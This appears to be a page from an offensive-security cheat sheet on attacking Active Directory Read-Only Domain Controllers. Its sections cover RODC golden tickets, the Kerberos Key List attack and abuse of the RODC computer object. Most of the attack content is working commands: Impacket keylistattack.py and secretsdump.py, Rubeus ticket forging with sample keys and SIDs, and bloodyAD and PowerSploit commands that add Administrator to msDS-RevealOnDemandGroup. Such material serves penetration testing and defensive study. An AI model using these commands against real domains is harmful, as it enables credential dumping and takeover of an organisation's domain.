67 lines
3.4 KiB
Markdown
67 lines
3.4 KiB
Markdown
# Active Directory - Read Only Domain Controller
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RODCs are an alternative for Domain Controllers in less secure physical locations
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- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
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- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server
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## RODC Golden Ticket
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* You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s **msDS-RevealOnDemandGroup** attribute and not in the RODC’s **msDS-NeverRevealGroup** attribute
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## RODC Key List Attack
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**Requirements**:
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* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
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* **krbtgt** credentials of the RODC (-rodcKey)
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* **ID of the krbtgt** account of the RODC (-rodcNo)
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**Exploit**:
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* using Impacket
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```ps1
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# keylistattack.py using SAMR user enumeration without filtering (-full flag)
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keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
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# keylistattack.py defining a target username (-t flag)
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keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
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# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
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secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
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```
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* Using Rubeus
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```ps1
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Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
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Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
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```
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## RODC Computer Object
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When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
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* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
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* Windows/Linux:
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```ps1
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# Get original msDS-RevealOnDemandGroup values
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bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
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distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
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msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
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# Add the previous value plus the admin account
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bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
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```
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* Windows only:
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```ps1
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PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
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```
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## References
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* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
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* [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)
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* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
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